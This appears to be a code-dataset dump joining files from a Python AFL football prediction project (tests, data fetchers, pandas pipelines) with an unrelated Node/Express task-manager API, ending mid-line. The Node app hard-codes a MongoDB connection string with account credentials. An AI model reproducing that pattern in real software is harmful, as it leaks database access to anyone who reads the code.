len(transformed_df.columns)) # Should add the two new oppo columns self.assertIn("oppo_kicks", transformed_df.columns) self.assertIn("oppo_marks", transformed_df.columns) # Shouldn't add the match columns for match_col in match_cols: if match_col not in ["team", "score"]: self.assertNotIn(f"oppo_{match_col}", transformed_df.columns) self.assertEqual(Counter(transformed_df.columns)["oppo_team"], 1) self.assertEqual(Counter(transformed_df.columns)["oppo_score"], 1) # Columns & their 'oppo_' equivalents should have the same values self.assertEqual( len( np.setdiff1d(transformed_df["kicks"], transformed_df["oppo_kicks"]) ), 0, ) self.assertEqual( len( np.setdiff1d(transformed_df["marks"], transformed_df["oppo_marks"]) ), 0, ) with self.subTest(match_cols=match_cols, oppo_feature_cols=oppo_feature_cols): with self.assertRaises(ValueError): transform_func = common.add_oppo_features( match_cols=match_cols, oppo_feature_cols=oppo_feature_cols ) self._assert_required_columns( req_cols=REQUIRED_COLS, valid_data_frame=valid_data_frame, feature_function=transform_func, ) def test_finalize_data(self): data_frame = self.data_frame.assign(nans=None).astype({"year": "str"}) finalized_data_frame = common.finalize_data(data_frame) self.assertEqual(finalized_data_frame["year"].dtype, int) self.assertFalse(finalized_data_frame["nans"].isna().any()) def test_sort_columns(self): sort_data_frame_func = common.sort_data_frame_columns() sorted_data_frame = sort_data_frame_func(self.data_frame) non_numeric_cols = {"team", "oppo_team", "venue", "round_type", "date"} first_cols = set(sorted_data_frame.columns[slice(len(non_numeric_cols))]) self.assertEqual(non_numeric_cols, non_numeric_cols & first_cols) with self.subTest("with category_cols argument"): category_cols = ["team", "oppo_team"] sort_data_frame_func = common.sort_data_frame_columns(category_cols) sorted_data_frame = sort_data_frame_func(self.data_frame) first_cols = set(sorted_data_frame.columns[:2]) self.assertEqual(set(category_cols), set(category_cols) & first_cols) <file_sep>/src/augury/data_import/betting_data.py """Module for fetching betting data from afl_data service.""" from typing import List, Dict, Any from datetime import date import os import json from augury.data_import.base_data import fetch_afl_data from augury.settings import RAW_DATA_DIR, PREDICTION_DATA_START_DATE FIRST_YEAR_OF_BETTING_DATA = 2010 END_OF_YEAR = f"{date.today().year}-12-31" def fetch_betting_data( start_date: str = f"{FIRST_YEAR_OF_BETTING_DATA}-01-01", end_date: str = END_OF_YEAR, verbose: int = 1, ) -> List[Dict[str, Any]]: """ Get AFL betting data for given date range. Params ------ start_date (string: YYYY-MM-DD): Earliest date for match data returned. end_date (string: YYYY-MM-DD): Latest date for match data returned. Returns ------- list of dicts of betting data. """ if verbose == 1: print( "Fetching betting odds data from between " f"{start_date} and {end_date}..." ) data = fetch_afl_data( "/betting_odds", params={"start_date": start_date, "end_date": end_date} ) if verbose == 1: print("Betting odds data received!") return data def save_betting_data( start_date: str = f"{FIRST_YEAR_OF_BETTING_DATA}-01-01", end_date: str = END_OF_YEAR, verbose: int = 1, for_prod: bool = False, ) -> None: """ Save betting data as a *.json file with name based on date range of data. Params ------ start_date (string: YYYY-MM-DD): Earliest date for match data returned. end_date (string: YYYY-MM-DD): Latest date for match data returned. verbose (int): Whether to print info statements (1 means yes, 0 means no). for_prod (bool): Whether saved data set is meant for loading in production. If True, this overwrites the given start_date to limit the data set to the last 10 years to limit memory usage. Returns ------- None """ if for_prod: start_date = max(start_date, PREDICTION_DATA_START_DATE) data = fetch_betting_data(start_date=start_date, end_date=end_date, verbose=verbose) filepath = os.path.join(RAW_DATA_DIR, f"betting-data_{start_date}_{end_date}.json") with open(filepath, "w", encoding="utf-8") as json_file: json.dump(data, json_file, indent=2) if verbose == 1: print("Betting odds data saved") if __name__ == "__main__": last_year = date.today().year - 1 end_of_last_year = f"{last_year}-12-31" # A bit arbitrary, but in general I prefer to keep the static, raw data up to the # end of last season, fetching more recent data as necessary save_betting_data(end_date=end_of_last_year) <file_sep>/src/augury/ml_estimators/basic_estimator.py """Estimator class for non-ensemble model pipelines.""" from typing import Union from sklearn.base import BaseEstimator from sklearn.pipeline import Pipeline, make_pipeline from sklearn.linear_model import Ridge from .base_ml_estimator import BaseMLEstimator, BASE_ML_PIPELINE BEST_PARAMS = { "pipeline__correlationselector__threshold": 0.04308980248526492, "ridge__alpha": 0.06355835028602363, } PIPELINE = make_pipeline(BASE_ML_PIPELINE, Ridge()).set_params(**BEST_PARAMS) class BasicEstimator(BaseMLEstimator): """Estimator class for non-ensemble model pipelines.""" def __init__( self, pipeline: Union[Pipeline, BaseEstimator] = None, name: str = "basic_estimator", ) -> None: """Instantiate a StackingEstimator object. Params ------ pipeline: Pipeline of Scikit-learn estimators ending in a regressor or classifier. name: Name of the estimator for reference by Kedro data sets and filenames. min_year: Minimum year for data used in training (inclusive). """ pipeline = PIPELINE if pipeline is None else pipeline super().__init__(pipeline, name=name) <file_sep>/src/tests/unit/data_import/test_player_data.py # pylint: disable=missing-module-docstring, missing-function-docstring # pylint: disable=missing-class-docstring import os from unittest import TestCase from unittest.mock import patch, mock_open import json from candystore import CandyStore from augury.settings import RAW_DATA_DIR from augury.data_import.player_data import save_player_data START_DATE = "2012-01-01" START_YEAR = int(START_DATE[:4]) END_DATE = "2013-12-31" END_YEAR = int(END_DATE[:4]) + 1 PLAYER_DATA_MODULE_PATH = "augury.data_import.player_data" PLAYER_DATA_PATH = os.path.join( RAW_DATA_DIR, f"player-data_{START_DATE}_{END_DATE}.json" ) class TestPlayerData(TestCase): def setUp(self): self.fake_player_data = CandyStore(seasons=(START_YEAR, END_YEAR)).players() @patch(f"{PLAYER_DATA_MODULE_PATH}.fetch_player_data") @patch("builtins.open", mock_open()) @patch("json.dump") def test_save_player_data(self, _mock_json_dump, mock_fetch_data): mock_fetch_data.return_value = self.fake_player_data save_player_data(start_date=START_DATE, end_date=END_DATE, verbose=0) mock_fetch_data.assert_called_with( start_date=START_DATE, end_date=END_DATE, verbose=0 ) open.assert_called_with(PLAYER_DATA_PATH, "w", encoding="utf-8") dump_args, _dump_kwargs = json.dump.call_args self.assertIn(self.fake_player_data, dump_args) <file_sep>/src/tests/integration/data_import/test_player_data_request.py # pylint: disable=missing-module-docstring, missing-function-docstring # pylint: disable=missing-class-docstring import os from unittest import TestCase, skipIf from unittest.mock import patch, MagicMock from datetime import date, timedelta from betamax import Betamax from requests import Session from augury.data_import.player_data import ( fetch_player_data, fetch_roster_data, ) from augury.settings import CASSETTE_LIBRARY_DIR SEPT = 9 MAR = 3 FIFTEENTH = 15 THIRTY_FIRST = 31 AFL_DATA_SERVICE = os.getenv("AFL_DATA_SERVICE", default="") AFL_DATA_SERVICE_TOKEN = os.getenv("AFL_DATA_SERVICE_TOKEN", default="") ENV_VARS = os.environ.copy() DATA_IMPORT_PATH = "augury.data_import" ARBITRARY_PLAYED_ROUND_NUMBER = 5 ROSTER_COLS = set( [ "player_name", "playing_for", "home_team", "away_team", "date", "match_id", "season", ] ) with Betamax.configure() as config: config.cassette_library_dir = CASSETTE_LIBRARY_DIR config.define_cassette_placeholder("<AFL_DATA_TOKEN>", AFL_DATA_SERVICE_TOKEN) config.define_cassette_placeholder("<AFL_DATA_URL>", AFL_DATA_SERVICE) class TestPlayerData(TestCase): def setUp(self): today = date.today() # Season start and end are approximate, but defined to be safely after the # usual start and before the usual end end_of_previous_season = date(today.year - 1, SEPT, FIFTEENTH) start_of_this_season = date(today.year, MAR, THIRTY_FIRST) end_of_this_season = date(today.year, SEPT, FIFTEENTH) a_month = timedelta(days=30) if start_of_this_season <= today <= end_of_this_season: self.start_date = str(today - a_month) elif today <= start_of_this_season: self.start_date = str(end_of_previous_season - a_month) else: self.start_date = str(end_of_this_season - a_month) self.end_date = str(today) def test_fetch_player_data(self): data = fetch_player_data( start_date=self.start_date, end_date=self.end_date, verbose=0 ) self.assertIsInstance(data, list) self.assertIsInstance(data[0], dict) self.assertTrue(any(data)) dates = {datum["date"] for datum in data} self.assertLessEqual(self.start_date, min(dates)) self.assertGreaterEqual(self.end_date, max(dates)) @patch.dict(os.environ, {**ENV_VARS, **{"PYTHON_ENV": "production"}}, clear=True) @patch(f"{DATA_IMPORT_PATH}.player_data.json.dump", MagicMock()) class TestPlayerDataProd(TestCase): def setUp(self): self.session = Session() self.start_date = "2013-06-01" self.end_date = "2013-06-30" @skipIf( os.getenv("PYTHON_ENV") == "ci", "Absolutely cannot get this test to run in CI without getting a 'MemoryError'," "even when I reduce the time period to a month", ) def test_fetch_player_data(self): with Betamax(self.session).use_cassette("player_data"): with patch(f"{DATA_IMPORT_PATH}.base_data.requests.get", self.session.get): data = fetch_player_data( start_date=self.start_date, end_date=self.end_date, verbose=0 ) self.assertIsInstance(data, list) self.assertIsInstance(data[0], dict) self.assertTrue(any(data)) dates = {datum["date"] for datum in data} self.assertLessEqual(self.start_date, min(dates)) self.assertGreaterEqual(self.end_date, max(dates)) def test_fetch_roster_data(self): with Betamax(self.session).use_cassette("roster_data"): with patch(f"{DATA_IMPORT_PATH}.base_data.requests.get", self.session.get): data = fetch_roster_data(ARBITRARY_PLAYED_ROUND_NUMBER, verbose=0) self.assertIsInstance(data, list) self.assertIsInstance(data[0], dict) self.assertTrue(any(data)) data_fields = set(data[0].keys()) self.assertEqual(data_fields & ROSTER_COLS, ROSTER_COLS) <file_sep>/src/augury/pipelines/full/__init__.py """Pipeline and nodes for loading and processing full data.""" from .pipeline import create_pipeline <file_sep>/src/tests/__init__.py """Tests and fixtures.""" <file_sep>/src/augury/pipelines/player/nodes.py """Pipeline nodes for transforming player data.""" from typing import Callable, List, Dict, Union, Tuple from functools import partial, update_wrapper from datetime import datetime, timedelta import re import pandas as pd from augury.settings import ( TEAM_TRANSLATIONS, AVG_SEASON_LENGTH, INDEX_COLS, MELBOURNE_TIMEZONE, ) from ..nodes.feature_calculation import rolling_rate_filled_by_expanding_rate from ..nodes.base import ( _parse_dates, _filter_out_dodgy_data, _convert_id_to_string, _validate_required_columns, _validate_canoncial_team_names, ) PLAYER_COL_TRANSLATIONS = { "time_on_ground__": "time_on_ground", "id": "player_id", "round": "round_number", "season": "year", } UNUSED_PLAYER_COLS = [ "attendance", "hq1g", "hq1b", "hq2g", "hq2b", "hq3g", "hq3b", "hq4g", "hq4b", "aq1g", "aq1b", "aq2g", "aq2b", "aq3g", "aq3b", "aq4g", "aq4b", "jumper_no_", "umpire_1", "umpire_2", "umpire_3", "umpire_4", "substitute", "group_id", ] PLAYER_STATS_COLS = [ "rolling_prev_match_kicks", "rolling_prev_match_marks", "rolling_prev_match_handballs", "rolling_prev_match_goals", "rolling_prev_match_behinds", "rolling_prev_match_hit_outs", "rolling_prev_match_tackles", "rolling_prev_match_rebounds", "rolling_prev_match_inside_50s", "rolling_prev_match_clearances", "rolling_prev_match_clangers", "rolling_prev_match_frees_for", "rolling_prev_match_frees_against", "rolling_prev_match_contested_possessions", "rolling_prev_match_uncontested_possessions", "rolling_prev_match_contested_marks", "rolling_prev_match_marks_inside_50", "rolling_prev_match_one_percenters", "rolling_prev_match_bounces", "rolling_prev_match_goal_assists", "rolling_prev_match_time_on_ground", "last_year_brownlow_votes", ] SURNAME_REGEX = re.compile(r"[^\s]*\s+(.+)") def _translate_team_name(team_name: str) -> str: return TEAM_TRANSLATIONS[team_name] if team_name in TEAM_TRANSLATIONS else team_name def _translate_team_column(col_name: str) -> Callable[[pd.DataFrame], str]: return lambda data_frame: data_frame[col_name].map(_translate_team_name) def _player_id_col(data_frame: pd.DataFrame) -> pd.DataFrame: # Need to add year to ID, because there are some # player_id/match_id combos, decades apart, that by chance overlap return ( data_frame["year"].astype(str) + "." + data_frame["match_id"].astype(str) + "." + data_frame["player_id"].astype(str) ) def clean_player_data( player_data: pd.DataFrame, match_data: pd.DataFrame ) -> pd.DataFrame: """Clean raw player data. Params ------ player_data (pandas.DataFrame): Raw player data. match_data (pandas.DataFrame): Raw match data (required for match_id & round_number columns). Returns ------- pandas.DataFrame: Clean player data """ cleaned_match_data = ( # Sometimes the time part of date differs between data sources, # so we merge player and match data on date without time. # This must happen before making datetimes timezone-aware match_data.assign(merge_date=lambda df: pd.to_datetime(df["date"]).dt.date).loc[ :, ["merge_date", "venue", "round_number", "match_id"] ] ) cleaned_player_data = ( player_data.rename(columns=PLAYER_COL_TRANSLATIONS) .astype({"year": int}) .assign( # Sometimes the time part of date differs between data sources, # so we merge player and match data on date without time. # This must happen before making datetimes timezone-aware merge_date=lambda df: pd.to_datetime(df["date"]).dt.date, # Some player data venues have trailing spaces venue=lambda x: x["venue"].str.strip(), player_name=lambda x: x["first_name"] + " " + x["surname"], player_id=_convert_id_to_string("player_id"), home_team=_translate_team_column("home_team"), away_team=_translate_team_column("away_team"), playing_for=_translate_team_column("playing_for"), date=partial(_parse_dates, time_col="local_start_time"), ) .drop( UNUSED_PLAYER_COLS + ["first_name", "surname", "round_number", "local_start_time"], axis=1, ) # Player data match IDs are wrong for recent years. # The easiest way to add correct ones is to graft on the IDs # from match_results. Also, match_results round_numbers are integers rather than # a mix of ints and strings. .merge(cleaned_match_data, on=["merge_date", "venue"], how="left") .pipe(_filter_out_dodgy_data(subset=["year", "round_number", "player_id"])) .drop(["venue", "merge_date"], axis=1) # brownlow_votes aren't known until the end of the season .fillna({"brownlow_votes": 0}) # Joining on date/venue leaves two duplicates played at M.C.G. # on 29-4-1986 & 9-8-1986, but that's an acceptable loss of data # and easier than munging team names .dropna() .assign(id=_player_id_col) .set_index("id") .sort_index() ) _validate_canoncial_team_names(cleaned_player_data) return cleaned_player_data def clean_roster_data( roster_data: pd.DataFrame, clean_player_data_frame: pd.DataFrame ) -> pd.DataFrame: """Clean data fetched from the AFL's list of team rosters.""" if not roster_data.size: return roster_data.assign(player_id=[]) # This filter generally isn't needed, but when the season has been postponed # on account of a global pandemic, people have priorities other than updating # the team lineup page on afl.com.au, which results in rosters for past matches, # which violates assumptions that make joining future & past player data work. # As such, filtering out matches that were played before this week # should be sufficient without risking weird results due to timezones # if you decide to run the pipeline mid-round. start_of_today = datetime.now(tz=MELBOURNE_TIMEZONE) # We filter from start of week, because past match player data # usually isn't available until a few days after a round ends. start_of_week = start_of_today - timedelta( # pylint: disable=unused-variable days=start_of_today.weekday() ) roster_data_frame = ( roster_data.assign( date=_parse_dates, home_team=_translate_team_column("home_team"), away_team=_translate_team_column("away_team"), playing_for=_translate_team_column("playing_for"), surname=lambda df: df["player_name"].str.extract(SURNAME_REGEX), ) .drop("player_name", axis=1) .query("date > @start_of_week") .rename(columns={"season": "year"}) .merge( clean_player_data_frame[["player_name", "player_id", "playing_for"]].assign( surname=lambda df: df["player_name"].str.extract(SURNAME_REGEX) ), # We join on surname + team name, because different data sources # use different versions of first names # (e.g. 'Mike' vs 'Michael', 'Nic' vs 'Nicholas'). # A quick check of data from 1965-2019 shows that this results # in 1.6% of rows being duplicates, mostly from a pair of players # with the same surname playing together for multiple seasons. # The alternative is manual mapping of names, which would be excessive, # so we'll accept this error rate, especially since the _real_ error rate # is a bit lower due to joins sometimes being correct due to random chance. on=["surname", "playing_for"], how="left", ) .drop("surname", axis=1) .sort_values("player_id", ascending=False) # There are some duplicate player names over the years, so we drop the oldest, # hoping that the contemporary player matches the one with the most-recent # entry into the AFL. If two players with the same name are playing in the # league at the same time, that will likely result in errors .drop_duplicates(subset=["player_name"], keep="first") ) # If a player is new to the league, he won't have a player_id per AFL Tables data, # so we make one up just using his name roster_data_frame["player_id"].fillna( roster_data_frame["player_name"], inplace=True ) _validate_canoncial_team_names(roster_data_frame) return roster_data_frame.assign(id=_player_id_col).set_index("id") def _sort_columns(data_frame: pd.DataFrame) -> pd.DataFrame: return data_frame[data_frame.columns.sort_values()] def _replace_col_names(team_type: str) -> Callable[[str], str]: oppo_team_type = "away" if team_type == "home" else "home" return lambda col_name: ( col_name.replace(f"{team_type}_", "").replace(f"{oppo_team_type}_", "oppo_") ) def _team_data_frame(data_frame: pd.DataFrame, team_type: str) -> pd.DataFrame: return ( data_frame[data_frame["playing_for"] == data_frame[f"{team_type}_team"]] .rename(columns=_replace_col_names(team_type)) .assign(at_home=1 if team_type == "home" else 0) .pipe(_sort_columns) ) def convert_player_match_rows_to_player_teammatch_rows( data_frame: pd.DataFrame, ) -> pd.DataFrame: """Stack home & away player data, and add 'oppo_' team columns. Params ------ data_frame (pandas.DataFrame): Data frame to be transformed. Returns ------- pandas.DataFrame """ REQUIRED_COLS = { "playing_for", "home_team", "away_team", "home_score", "away_score", "match_id", } _validate_required_columns(REQUIRED_COLS, data_frame.columns) team_dfs = [ _team_data_frame(data_frame, "home"), _team_data_frame(data_frame, "away"), ] return pd.concat(team_dfs, sort=True).drop(["match_id", "playing_for"], axis=1) def add_last_year_brownlow_votes(data_frame: pd.DataFrame): """Add column for a player's total brownlow votes from the previous season.""" REQUIRED_COLS = {"player_id", "year", "brownlow_votes"} _validate_required_columns(REQUIRED_COLS, data_frame.columns) brownlow_last_year = ( data_frame[["player_id", "year", "brownlow_votes"]] .groupby(["player_id", "year"], group_keys=True) .sum() # Grouping by player to shift by year .groupby(level=0) .shift() .fillna(0) .rename(columns={"brownlow_votes": "last_year_brownlow_votes"}) ) return ( data_frame.drop("brownlow_votes", axis=1) .merge(brownlow_last_year, on=["player_id", "year"], how="left") .set_index(data_frame.index) ) def add_rolling_player_stats(data_frame: pd.DataFrame): """Replace players' invidual match stats with rolling averages of those stats.""" STATS_COLS = [ "kicks", "marks", "handballs", "goals", "behinds", "hit_outs", "tackles", "rebounds", "inside_50s", "clearances", "clangers", "frees_for", "frees_against", "contested_possessions", "uncontested_possessions", "contested_marks", "marks_inside_50", "one_percenters", "bounces", "goal_assists", "time_on_ground", ] REQUIRED_COLS = STATS_COLS + ["player_id"] _validate_required_columns(REQUIRED_COLS, data_frame.columns) player_data_frame = data_frame.sort_values(["player_id", "year", "round_number"]) player_groups = ( player_data_frame[STATS_COLS + ["player_id"]] .groupby("player_id", group_keys=False) .shift() .assign(player_id=player_data_frame["player_id"]) .fillna(0) .groupby("player_id", group_keys=True) ) player_stats = ( rolling_rate_filled_by_expanding_rate(player_groups, AVG_SEASON_LENGTH) .droplevel(level=0) .sort_index() ) rolling_stats_cols = { stats_col: f"rolling_prev_match_{stats_col}" for stats_col in STATS_COLS } return ( player_data_frame.assign(**player_stats.to_dict("series")).rename( columns=rolling_stats_cols ) # Data types get inferred when assigning dictionary columns, which converts # 'player_id' to float .astype({"player_id": str}) ) def add_cum_matches_played(data_frame: pd.DataFrame): """Add cumulative number of matches each player has played.""" REQUIRED_COLS = {"player_id"} _validate_required_columns(REQUIRED_COLS, data_frame.columns) return data_frame.assign( cum_matches_played=data_frame.groupby("player_id").cumcount() ) def _aggregations( match_stats_cols: List[str], aggregations: List[str] = [] ) -> Dict[str, Union[str, List[str]]]: player_aggs = {col: aggregations for col in PLAYER_STATS_COLS} # Since match stats are the same across player rows, taking the mean # is the easiest way to aggregate them match_aggs = {col: "mean" for col in match_stats_cols} return {**player_aggs, **match_aggs} def _agg_column_name(match_stats_cols: List[str], column_pair: Tuple[str, str]) -> str: column_label, _ = column_pair return column_label if column_label in match_stats_cols else "_".join(column_pair) def _aggregate_player_stats_by_team_match_node( player_data_frame: pd.DataFrame, aggregations: List[str] = [] ) -> pd.DataFrame: REQUIRED_COLS = ( ["oppo_team", "player_id", "player_name", "date"] + PLAYER_STATS_COLS + INDEX_COLS ) _validate_required_columns(REQUIRED_COLS, player_data_frame.columns) match_stats_cols = [ col for col in player_data_frame.select_dtypes("number") # Excluding player stats columns & index columns, which are included in the # groupby index and re-added to the dataframe later if col not in PLAYER_STATS_COLS + INDEX_COLS ] agg_data_frame = ( player_data_frame.drop(["player_id", "player_name"], axis=1) .sort_values(INDEX_COLS) # Adding some non-index columns in the groupby, because it doesn't change # the grouping and makes it easier to keep for the final data frame. .groupby(INDEX_COLS + ["oppo_team", "date"]) .aggregate(_aggregations(match_stats_cols, aggregations=aggregations)) ) agg_data_frame.columns = [ _agg_column_name(match_stats_cols, column_pair) for column_pair in agg_data_frame.columns.values ] # Various finals matches have been draws and replayed, # and sometimes home/away is switched requiring us to drop duplicates # at the end. # This eliminates some matches from Round 15 in 1897, because they # played some sort of round-robin tournament for finals, but I'm # not too worried about the loss of that data. return ( agg_data_frame.dropna() .reset_index() .sort_values("date") .drop_duplicates(subset=INDEX_COLS, keep="last") .astype({match_col: int for match_col in match_stats_cols}) .set_index(INDEX_COLS, drop=False) .rename_axis([None] * len(INDEX_COLS)) .sort_index() ) def aggregate_player_stats_by_team_match( aggregations: List[str], ) -> Callable[[pd.DataFrame], pd.DataFrame]: """Perform aggregations to turn player-match data into team-match data.""" return update_wrapper( partial(_aggregate_player_stats_by_team_match_node, aggregations=aggregations), _aggregate_player_stats_by_team_match_node, ) <file_sep>/src/tests/unit/data_import/test_match_data.py # pylint: disable=missing-module-docstring, missing-function-docstring # pylint: disable=missing-class-docstring import os from unittest import TestCase from unittest.mock import patch, mock_open import json from candystore import CandyStore from augury.settings import RAW_DATA_DIR from augury.data_import.match_data import save_match_data START_DATE = "2012-01-01" START_YEAR = int(START_DATE[:4]) END_DATE = "2013-12-31" END_YEAR = int(END_DATE[:4]) + 1 N_MATCHES_PER_YEAR = 2 MATCH_DATA_MODULE_PATH = "augury.data_import.match_data" MATCH_DATA_PATH = os.path.join(RAW_DATA_DIR, f"match-data_{START_DATE}_{END_DATE}.json") class TestMatchData(TestCase): def setUp(self): self.fake_match_data = CandyStore( seasons=(START_YEAR, END_YEAR) ).match_results() @patch(f"{MATCH_DATA_MODULE_PATH}.fetch_match_data") @patch("builtins.open", mock_open()) @patch("json.dump") def test_save_match_data(self, _mock_json_dump, mock_fetch_data): mock_fetch_data.return_value = self.fake_match_data save_match_data(start_date=START_DATE, end_date=END_DATE, verbose=0) mock_fetch_data.assert_called_with( start_date=START_DATE, end_date=END_DATE, verbose=0 ) open.assert_called_with(MATCH_DATA_PATH, "w", encoding="utf-8") dump_args, _dump_kwargs = json.dump.call_args self.assertIn(self.fake_match_data, dump_args)
2a7ef4512245d3939f28490b0eb2f41f3b1fee39
[ "Markdown", "TOML", "INI", "Python", "Text", "Dockerfile", "Shell" ]
95
Python
tipresias/augury
7458479121c94db8e019fc8992213cc049701d9b
8cbd125f41da958d35d059c53539ab6efb9fe9c7
refs/heads/master
<file_sep>const jwt=require('jsonwebtoken'); const user=require('../models/user.js'); const auth=async function(req,res,next) { try{ const token=req.header('Authorization').replace('Bearer ',''); const decoded=jwt.verify(token,process.env.jwtsecretkey); const founduser=await user.findOne({_id:decoded._id,'tokens.token':token}); if(!founduser) { throw new Error(); } req.founduser=founduser; req.token=token; next(); }catch(e) { res.status(401).send('Please authenticate'); } }; module.exports=auth;<file_sep>var mongoose=require('mongoose'); var validator=require('validator'); var bcrypt=require('bcrypt'); const jwt = require('jsonwebtoken'); var task=require('./task.js'); var userschema=new mongoose.Schema( { name: { type:String, required:true, trim:true }, email: { type:String, required:true, unique:true, trim:true, lowercase:true, validate(value) { if(!validator.isEmail(value)) { throw new Error('Email is invalid'); } } }, password: { type:String, required: true, minlength: 7, trim: true }, age: { type: Number, default: 0, validate(value) { if (value < 0) { throw new Error('Age must be a postive number'); } } }, tokens:[{ token:{ type:String, required:true } }], avatar:{ type:Buffer } },{ timestamps:true }); userschema.virtual('tasks',{ ref:'task', localField:'_id', foreignField:'owner' }) userschema.pre('remove',async function(next){ const user=this; await task.deleteMany({owner:user._id}); return next(); }) userschema.methods.toJSON=function() { const user=this; const userobject=user.toObject(); delete userobject.tokens; delete userobject.password; delete userobject.avatar; return userobject; } userschema.statics.findByCredentials=async(email,password)=> { const finduser= await user.findOne({email:email}); if(!finduser) { throw new Error('unable to login'); } const ismatch=await bcrypt.compare(password,finduser.password); if(!ismatch) { throw new Error('unable to login'); } else{ return finduser; } }; userschema.methods.generatetoken=async function() { const user=this; const token=jwt.sign({_id:user._id.toString()},process.env.jwtsecretkey); user.tokens=user.tokens.concat({token}); await user.save(); return token; }; userschema.pre('save',async function(next) { const user=this; if(user.isModified('password')) { user.password=await bcrypt.hash(user.password,8); } next(); }); var user=mongoose.model('user',userschema); module.exports=user;<file_sep>const sgmail=require('@sendgrid/mail'); sgmail.setApiKey(process.env.sgapikey); const sendmail={}; sendmail.welcome=(email,name)=> {sgmail.send({ to:email, from:'<EMAIL>', subject:'this is my first email', text:`Welcome to the app, ${name}. Let me know how you get along with the app.` })} sendmail.cancellation=(email,name)=>{ sgmail.send({ to:email, from:'<EMAIL>', subject:'Cancellation email', text:`Goodbye, ${name}. I hope to see you back sometime soon.` }) } module.exports=sendmail;<file_sep>var mongoose=require('mongoose'); var validator=require('validator'); var user=require('./user.js'); var taskschema=new mongoose.Schema({ description: { type:String, required:true, trim:true }, completed: { type:Boolean, default:false }, owner:{ type:mongoose.Schema.Types.ObjectId, required:true, ref:'user' } },{ timestamps:true }); var task=mongoose.model('task',taskschema); module.exports=task;<file_sep>const express=require('express'); const router=new express.Router(); const task=require('../models/task.js'); const auth=require('../middleware/auth.js'); router.post('/tasks',auth,async(req,res)=> { try{ req.body.owner=req.founduser._id; const addedtask=await task.create(req.body); const full=await addedtask.populate('owner').execPopulate(); res.status(201).send(addedtask); } catch(e) { res.status(400).send(e); } }); router.get('/tasks',auth,(req,res)=> { var completed=""; var sort={}; if(req.query.sortby) { const parts=req.query.sortby.split(":"); sort[parts[0]]=parts[1]==='desc'?-1:1; } console.log(sort); if(req.query.completed) { completed=req.query.completed==='true' } if(completed==="") { task.find({owner:req.founduser._id}).limit(parseInt(req.query.limit)).skip(parseInt(req.query.skip)).sort(sort).then((result)=> { res.status(201).send(result); }).catch((e)=> { res.status(500).send(e); }); } else{ task.find({owner:req.founduser._id,completed:completed}).limit(parseInt(req.query.limit)).skip(parseInt(req.query.skip)).sort(sort).then((result)=> { res.status(201).send(result); }).catch((e)=> { res.status(500).send(e); }); } }); router.get('/tasks/:id',auth,async(req,res)=> { try{ const foundtask=await task.findOne({_id:req.params.id,owner:req.founduser._id}); if(!foundtask) { res.status(404).send(); } else { res.send(foundtask); } }catch(e) { res.status(500).send(e); } }); router.patch('/tasks/:id',auth,async(req,res)=> { const allowedupdates=['description','completed']; const updates=Object.keys(req.body); const isvalidoperation=updates.every((update)=>allowedupdates.includes(update)); if(!isvalidoperation) { return res.status(400).send('Invalid Operation'); } try{ const tobeupdated=await task.findOne({_id:req.params.id,owner:req.founduser._id}); if(!tobeupdated) { res.status(404).send(); } else { updates.forEach((update)=> { tobeupdated[update]=req.body[update]; }); await tobeupdated.save(); res.send(tobeupdated); } } catch(e){ res.status(500).send(e); } }); router.delete('/tasks/:id',auth,async(req,res)=>{ try{ const deletedtask=await task.findOneAndDelete({_id:req.params.id,owner:req.founduser._id}); if(!deletedtask){ return res.status(404).send(); } else{ res.send(deletedtask); } }catch(e) { res.status(500).send(e); } }); module.exports=router;<file_sep>const express=require('express'); const router=new express.Router(); const user=require('../models/user.js'); const auth=require('../middleware/auth.js'); const multer=require('multer'); const sharp=require('sharp'); const sendmail=require('../email/account'); router.post('/users',async(req,res)=> { try{ const addeduser=await user.create(req.body); sendmail.welcome(addeduser.email,addeduser.name); const token=await addeduser.generatetoken(); res.status(201).send({addeduser,token}); } catch(e) { res.status(400).send(e); } }); router.get('/users/me',auth,async(req,res)=> { try{ const full=await req.founduser.populate('tasks').execPopulate(); // console.log(full.tasks); res.send(full); } catch(e) { res.status(500).send(e); } }); router.post('/users/login',async(req,res)=> { try{ const founduser=await user.findByCredentials(req.body.email,req.body.password); const token= await founduser.generatetoken(); res.send({founduser,token}); }catch(e) { res.status(400).send(e); } }); // router.get('/users/:id',async(req,res)=> // { // try{ // const founduser=await user.findById(req.params.id); // if(!founduser){ // res.status(404).send(); // } // else // { // res.send(founduser); // } // }catch(e) // { // res.status(500).send(e); // } // }); router.patch('/users/me',auth,async(req,res)=>{ const allowedupdates=['name','email','password','age']; const updates=Object.keys(req.body); const isvalidoperation=updates.every((update)=>allowedupdates.includes(update)); if(!isvalidoperation) { return res.status(400).send('Invalid operation'); } try{ // const updateduser= await user.findByIdAndUpdate(req.params.id,req.body,{new:true,runValidators:true}); updates.forEach((update)=>{ req.founduser[update]=req.body[update]; }); const updateduser=await req.founduser.save(); res.send(updateduser); } catch(e) { res.status(500).send(e); } }); router.delete('/users/me',auth,async(req,res)=>{ try{ await req.founduser.remove(); res.send(req.founduser); sendmail.cancellation(req.founduser.email,req.founduser.name); }catch(e) { res.status(500).send(e); } }); router.post('/users/logout',auth,async(req,res)=> { try{ req.founduser.tokens=req.founduser.tokens.filter((token)=> { return token.token!==req.token; }); await req.founduser.save(); res.send("succeeded"); }catch(e){ res.status(500).send(e); } }); router.post('/users/logoutall',auth,async(req,res)=>{ try{ req.founduser.tokens=[]; await req.founduser.save(); res.send("Logged out from all devices"); }catch(e) { res.status(500).send(e); } }); const upload=multer({ limits: { fileSize:1000000 }, fileFilter(req,file,cb){ if(!file.originalname.match(/\.(jpg|png|jpeg)$/)) { return cb(new Error('Please upload an image')) } else{ cb(undefined,true); } } }) router.post('/users/me/avatar',auth,upload.single('images'),async(req,res)=>{ const buffer=await sharp(req.file.buffer).resize({width:400,height:400}).toBuffer(); req.founduser.avatar=buffer; await req.founduser.save(); res.send(); },(error,req,res,next)=>{ res.status(400).send({error:error.message}); }) router.delete('/users/me/avatar',auth,async(req,res)=>{ req.founduser.avatar=undefined; await req.founduser.save(); res.send(); }) router.get('/users/:id/avatar',async(req,res)=>{ try{ const founduser=await user.findById(req.params.id); if(!founduser||!founduser.avatar) { throw new Error(); } res.set('Content-Type','image/jpg'); res.send(founduser.avatar) } catch(e) { res.status(404).send(e); } }) module.exports=router; <file_sep>const express=require('express'); const app=express(); const mongoose=require('mongoose'); mongoose.connect('mongodb+srv://urvashi:<EMAIL>/test?retryWrites=true&w=majority',{ useNewUrlParser: true, useCreateIndex: true, useFindAndModify: false}); const user=require('./models/user.js'); const 